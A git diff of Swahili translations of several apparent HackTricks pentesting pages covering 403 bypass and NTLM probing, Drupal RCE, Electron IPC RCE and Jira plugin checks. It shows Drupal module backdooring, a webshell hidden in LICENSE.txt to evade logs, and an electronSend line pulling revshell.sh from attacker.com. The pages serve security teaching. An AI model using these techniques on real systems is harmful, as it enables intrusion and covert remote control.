**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
|
@ -331,13 +331,13 @@ Ikiwa ukurasa wowote **unajibu** na **nambari** hiyo, labda ni **proxy iliyo na
|
|||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayohitaji **credentials** zako (na kuomba **jina la** **domain**), unaweza kusababisha **ufichuzi wa habari**.\
|
||||
Ikiwa seva inayotumika inahitaji uthibitisho ni **Windows** au unapata kuingia inayoomba **credentials** zako (na kuomba **domain** **name**), unaweza kusababisha **ufichuzi wa habari**.\
|
||||
**Tuma** **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **uthibitisho wa NTLM unavyofanya kazi**, seva itajibu kwa habari za ndani (toleo la IIS, toleo la Windows...) ndani ya kichwa "WWW-Authenticate".\
|
||||
Unaweza **kujiandaa** hii kwa kutumia **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kama kivinjari kitatekeleza uelekeo) lakini kitu kinaweza kuwa **kimefichwa** humo.
|
||||
Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kama kivinjari kitatekeleza uelekeo) lakini kitu kinaweza kuwa **kimefichwa** huko.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
|
@ -357,9 +357,9 @@ Pata maelezo zaidi kuhusu udhaifu wa wavuti katika:
|
|||
|
||||
Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuingiza udhaifu.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kujaribu kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kujaribu kuvunja yasiyoweza kuvunjika - **tunaajiri!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# Drupal RCE
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -18,16 +18,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
## With PHP Filter Module
|
||||
|
||||
{% hint style="warning" %}
|
||||
Katika toleo za zamani za Drupal **(kabla ya toleo la 8)**, ilikuwa inawezekana kuingia kama admin na **kuwezesha moduli ya `PHP filter`**, ambayo "Inaruhusu msimbo wa PHP uliowekwa ndani/kipande kutathminiwa." Lakini kuanzia toleo la 8 moduli hii haijaanzishwa kwa chaguo-msingi.
|
||||
Katika toleo za zamani za Drupal **(kabla ya toleo la 8)**, ilikuwa inawezekana kuingia kama admin na **kuwezesha moduli ya `PHP filter`**, ambayo "Inaruhusu msimbo wa PHP uliowekwa ndani/vidokezo kutathminiwa." Lakini kuanzia toleo la 8 moduli hii haijaanzishwa kwa chaguo-msingi.
|
||||
{% endhint %}
|
||||
|
||||
Unahitaji **plugin ya php iwe imewekwa** (angalia kwa kufikia _/modules/php_ na ikiwa inarudisha **403** basi, **ipo**, ikiwa **haipatikani**, basi **plugin ya php haijaanzishwa**)
|
||||
Unahitaji **plugin ya php iwe imewekwa** (angalia kwa kufikia _/modules/php_ na ikiwa inarudisha **403** basi, **ipo**, ikiwa **haipatikani**, basi **plugin ya php haijawekwa**)
|
||||
|
||||
Nenda kwa _Modules_ -> (**Angalia**) _PHP Filter_ -> _Hifadhi usanidi_
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Kisha bonyeza _Ongeza maudhui_ -> Chagua _Ukurasa wa Msingi_ au _Kifungu -_> Andika _php shellcode kwenye mwili_ -> Chagua _PHP code_ katika _Muundo wa maandiko_ -> Chagua _Tazama_
|
||||
Kisha bonyeza _Ongeza maudhui_ -> Chagua _Basic Page_ au _Article -_> Andika _php shellcode kwenye mwili_ -> Chagua _PHP code_ katika _Muundo wa maandiko_ -> Chagua _Preview_
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -55,9 +55,9 @@ Kuanzia toleo **8 na kuendelea,** [**PHP Filter**](https://www.drupal.org/projec
|
|||
Katika toleo za sasa si tena inawezekana kufunga plugins kwa kuwa na ufikiaji wa wavuti tu baada ya usakinishaji wa default.
|
||||
{% endhint %}
|
||||
|
||||
Moduli yenye backdoor inaweza kuundwa kwa **kuongeza shell kwenye moduli iliyopo**. Moduli zinaweza kupatikana kwenye tovuti ya drupal.org. Hebu chague moduli kama [CAPTCHA](https://www.drupal.org/project/captcha). Shuka chini na nakili kiungo cha tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
Moduli yenye backdoor inaweza kuundwa kwa **kuongeza shell kwenye moduli iliyopo**. Moduli zinaweza kupatikana kwenye tovuti ya drupal.org. Hebu chague moduli kama [CAPTCHA](https://www.drupal.org/project/captcha). Piga chini na nakili kiungo cha tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Pakua archive na uondoe yaliyomo yake.
|
||||
* Pakua archive na uondoe yaliyomo.
|
||||
```
|
||||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||
tar xvf captcha-8.x-1.2.tar.gz
|
||||
|
@ -80,7 +80,7 @@ RewriteBase /
|
|||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Ikiwa tuna **ufikiaji wa kiutawala** kwenye tovuti, bonyeza **`Manage`** kisha **`Extend`** kwenye upande wa menyu. Kisha, bonyeza kitufe cha **`+ Install new module`**, na tutapelekwa kwenye ukurasa wa usakinishaji, kama `http://drupal-site.local/admin/modules/install` Tembelea archive ya Captcha iliyokuwa na backdoor na bonyeza **`Install`**.
|
||||
* Ikiwa tuna **ufikiaji wa kiutawala** kwenye tovuti, bonyeza **`Manage`** kisha **`Extend`** kwenye upande wa kushoto. Kisha, bonyeza kitufe cha **`+ Install new module`**, na tutapelekwa kwenye ukurasa wa usakinishaji, kama `http://drupal-site.local/admin/modules/install` Tembelea archive ya Captcha iliyo na backdoor na bonyeza **`Install`**.
|
||||
* Mara baada ya usakinishaji kufanikiwa, tembelea **`/modules/captcha/shell.php`** ili kutekeleza amri.
|
||||
|
||||
## Backdooring Drupal kwa kutumia Usawazishaji wa Mipangilio <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
@ -93,13 +93,13 @@ Katika menyu ya _Extend_ (/admin/modules), unaweza kuanzisha kile kinachoweza ku
|
|||
|
||||
Kabla ya kuanzisha:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Baada ya kuanzisha:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Sehemu ya 2 (kutumia kipengele _Usawazishaji wa Mipangilio_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
|
@ -122,7 +122,7 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa:
|
||||
|
||||
|
@ -136,7 +136,7 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Patch field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
|
@ -152,11 +152,11 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
|
|||
|
||||
...
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ili:
|
||||
Kwa:
|
||||
|
||||
Faili: field.field.media.document.field\_media\_document.yml
|
||||
File: field.field.media.document.field\_media\_document.yml
|
||||
```
|
||||
...
|
||||
|
||||
|
@ -166,9 +166,9 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
...
|
||||
|
||||
```
|
||||
> Sijatumia katika blogu hii lakini inabainishwa kuwa inawezekana kufafanua kiingilio `file_directory` kwa njia yoyote na kwamba ina udhaifu wa shambulio la path traversal (hivyo tunaweza kurudi juu ndani ya mti wa mfumo wa faili wa Drupal).
|
||||
> Sijatumia katika blogu hii lakini inabainishwa kuwa inawezekana kufafanua kiingilio `file_directory` kwa njia isiyo ya kawaida na kwamba ina udhaifu wa shambulio la path traversal (hivyo tunaweza kurudi juu ndani ya mti wa mfumo wa faili wa Drupal).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Sehemu ya 3 (kutumia kipengele _Ongeza Hati_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
|
@ -194,13 +194,13 @@ php_flag engine on
|
|||
```
|
||||
Kwa nini hila hii ni nzuri?
|
||||
|
||||
Kwa sababu mara tu Webshell (ambayo tutaita LICENSE.txt) inapowekwa kwenye seva ya Mtandao, tunaweza kuhamasisha amri zetu kupitia `$_COOKIE` na katika kumbukumbu za seva ya Mtandao, hii itaonekana kama ombi halali la GET kwa faili la maandiko.
|
||||
Kwa sababu mara tu Webshell (ambayo tutaiita LICENSE.txt) inapowekwa kwenye seva ya Mtandao, tunaweza kupeleka amri zetu kupitia `$_COOKIE` na katika kumbukumbu za seva ya Mtandao, hii itaonekana kama ombi halali la GET kwa faili la maandiko.
|
||||
|
||||
Kwa nini kuita Webshell yetu LICENSE.txt?
|
||||
|
||||
Kwa sababu tu ikiwa tutachukua faili ifuatayo, kwa mfano [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (ambayo tayari ipo katika msingi wa Drupal), tuna faili ya mistari 339 na ukubwa wa 17.6 KB, ambayo ni bora kwa kuongeza kipande kidogo cha msimbo wa PHP katikati (kwa sababu faili ni kubwa vya kutosha).
|
||||
Kwa sababu tu ikiwa tutachukua faili ifuatayo, kwa mfano [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (ambayo tayari ipo katika msingi wa Drupal), tuna faili ya mistari 339 na ukubwa wa 17.6 KB, ambayo ni bora kwa kuongeza kipande kidogo cha msimbo wa PHP katikati (kwa kuwa faili ni kubwa vya kutosha).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Faili: LICENSE.txt iliyorekebishwa
|
||||
```txt
|
||||
|
@ -233,45 +233,45 @@ programs whose distribution conditions are different, write to the author
|
|||
```
|
||||
#### **Sehemu ya 3.1 (pakia faili .htaccess)**
|
||||
|
||||
Kwanza, tunatumia kipengele _Add Document_ (/media/add/document) kupakia faili yetu inayokuwa na maagizo ya Apache (.htaccess).
|
||||
Kwanza, tunatumia kipengele _Add Document_ (/media/add/document) kupakia faili yetu inayojumuisha maagizo ya Apache (.htaccess).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sehemu ya 3.2 (pakia faili LICENSE.txt)**
|
||||
|
||||
Kisha, tunatumia tena kipengele _Add Document_ (/media/add/document) kupakia Webshell iliyofichwa ndani ya faili la leseni.
|
||||
Kisha, tunatumia kipengele _Add Document_ (/media/add/document) tena kupakia Webshell iliyofichwa ndani ya faili la leseni.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Sehemu ya 4 (mawasiliano na Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||||
|
||||
Sehemu ya mwisho inahusisha mawasiliano na Webshell.
|
||||
Sehemu ya mwisho inajumuisha mawasiliano na Webshell.
|
||||
|
||||
Kama inavyoonyeshwa katika picha ifuatayo, ikiwa cookie inayotarajiwa na Webshell yetu haijafafanuliwa, tunapata matokeo yafuatayo tunaposhughulikia faili kupitia kivinjari cha wavuti.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wakati mshambuliaji anapoweka cookie, anaweza kuwasiliana na Webshell na kutekeleza amri zozote anazotaka.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Na kama unavyoona katika kumbukumbu, inaonekana kama faili ya txt pekee ndiyo imeombwa.
|
||||
Na kama unavyoona katika kumbukumbu, inaonekana kama faili tu ya txt imeombwa.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Asante kwa kuchukua muda kusoma makala hii, natumai itakusaidia kupata baadhi ya shells.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Electron contextIsolation RCE via IPC
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Ikiwa skripti ya preload inafichua mwisho wa IPC kutoka kwa faili ya main.js, mchakato wa renderer utaweza kuufikia na ikiwa ni hatarini, RCE inaweza kuwa inawezekana.
|
||||
Ikiwa skripti ya preload inafichua kiunganishi cha IPC kutoka kwenye faili ya main.js, mchakato wa renderer utaweza kukifikia na ikiwa kuna udhaifu, RCE inaweza kuwa inawezekana.
|
||||
|
||||
**Mifano hii mingi ilichukuliwa kutoka hapa** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Angalia video kwa maelezo zaidi.
|
||||
|
||||
|
@ -23,11 +23,11 @@ Ikiwa skripti ya preload inafichua mwisho wa IPC kutoka kwa faili ya main.js, mc
|
|||
|
||||
Mfano kutoka [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (una mfano kamili wa jinsi MS Teams ilivyokuwa ikitumia XSS hadi RCE katika slaidi hizo, huu ni mfano wa msingi sana):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Mfano 1
|
||||
|
||||
Angalia jinsi `main.js` inasikiliza kwenye `getUpdate` na it **apakue na kutekeleza URL yoyote** iliyopitishwa.\
|
||||
Angalia jinsi `main.js` inasikiliza kwenye `getUpdate` na it **shusha na kutekeleza URL yoyote** iliyopitishwa.\
|
||||
Angalia pia jinsi `preload.js` **inavyofichua tukio lolote la IPC** kutoka kwa main.
|
||||
```javascript
|
||||
// Part of code of main.js
|
||||
|
@ -86,7 +86,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
|||
```
|
||||
## Mfano wa 2
|
||||
|
||||
Ikiwa skripti ya preload inatoa moja kwa moja kwa renderer njia ya kuita `shell.openExternal` inawezekana kupata RCE
|
||||
Ikiwa skripti ya preload inatoa moja kwa moja kwa renderer njia ya kuita `shell.openExternal`, inawezekana kupata RCE
|
||||
```javascript
|
||||
// Part of preload.js code
|
||||
window.electronOpenInBrowser = (url) => {
|
||||
|
@ -95,7 +95,7 @@ shell.openExternal(url);
|
|||
```
|
||||
## Example 3
|
||||
|
||||
Ikiwa skripti ya preload inatoa njia za kuwasiliana kabisa na mchakato mkuu, XSS itaweza kutuma tukio lolote. Athari hii inategemea kile mchakato mkuu unachotoa katika suala la IPC.
|
||||
Ikiwa skripti ya preload inatoa njia za kuwasiliana kabisa na mchakato mkuu, XSS itakuwa na uwezo wa kutuma tukio lolote. Athari hii inategemea kile mchakato mkuu unachotoa katika suala la IPC.
|
||||
```javascript
|
||||
window.electronListen = (event, cb) => {
|
||||
ipcRenderer.on(event, cb);
|
||||
|
@ -106,16 +106,16 @@ ipcRenderer.send(event, data);
|
|||
};
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Check Privileges
|
||||
|
||||
Katika Jira, **privileges zinaweza kuangaliwa** na mtumiaji yeyote, aliyeidhinishwa au la, kupitia endpoints `/rest/api/2/mypermissions` au `/rest/api/3/mypermissions`. Endpoints hizi zinaonyesha privileges za sasa za mtumiaji. Wasiwasi mkubwa unatokea wakati **watumiaji wasio na uthibitisho wana privileges**, ikionyesha **udhaifu wa usalama** ambao unaweza kuwa na haki ya **bounty**. Vivyo hivyo, **privileges zisizotarajiwa kwa watumiaji waliothibitishwa** pia zinaonyesha **udhaifu**.
|
||||
Katika Jira, **privileges zinaweza kuangaliwa** na mtumiaji yeyote, aliyeidhinishwa au la, kupitia endpoints `/rest/api/2/mypermissions` au `/rest/api/3/mypermissions`. Endpoints hizi zinaonyesha privileges za sasa za mtumiaji. Wasiwasi mkubwa unatokea wakati **watumiaji wasio na uthibitisho wana privileges**, ikionyesha **udhaifu wa usalama** ambao unaweza kuwa na haki ya **bounty**. Vivyo hivyo, **privileges zisizotarajiwa kwa watumiaji walioidhinishwa** pia zinaonyesha **udhaifu**.
|
||||
|
||||
**Sasisho** muhimu lilifanywa tarehe **1 Februari 2019**, likihitaji endpoint 'mypermissions' kujumuisha **'parameter ya ruhusa'**. Mahitaji haya yanakusudia **kuimarisha usalama** kwa kubainisha privileges zinazoulizwa: [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
|
@ -81,7 +81,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
|||
|
||||
## Atlasian Plugins
|
||||
|
||||
Kama ilivyoonyeshwa katika [**blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins) hii, katika nyaraka kuhusu [Plugin modules ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) inawezekana kuangalia aina tofauti za plugins, kama:
|
||||
Kama ilivyoonyeshwa katika [**blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins) hii, katika hati kuhusu [Plugin modules ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) inawezekana kuangalia aina tofauti za plugins, kama:
|
||||
|
||||
* [REST Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Fichua ncha za API za RESTful
|
||||
* [Servlet Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Weka servlets za Java kama sehemu ya plugin
|
||||
|
@ -112,32 +112,32 @@ public BodyType getBodyType() { return BodyType.NONE; }
|
|||
public OutputType getOutputType() { return OutputType.BLOCK; }
|
||||
}
|
||||
```
|
||||
Ni rahisi kuona kwamba hizi plugins zinaweza kuwa na udhaifu wa kawaida wa wavuti kama XSS. Kwa mfano, mfano wa awali una udhaifu kwa sababu unarejelea data iliyotolewa na mtumiaji. 
|
||||
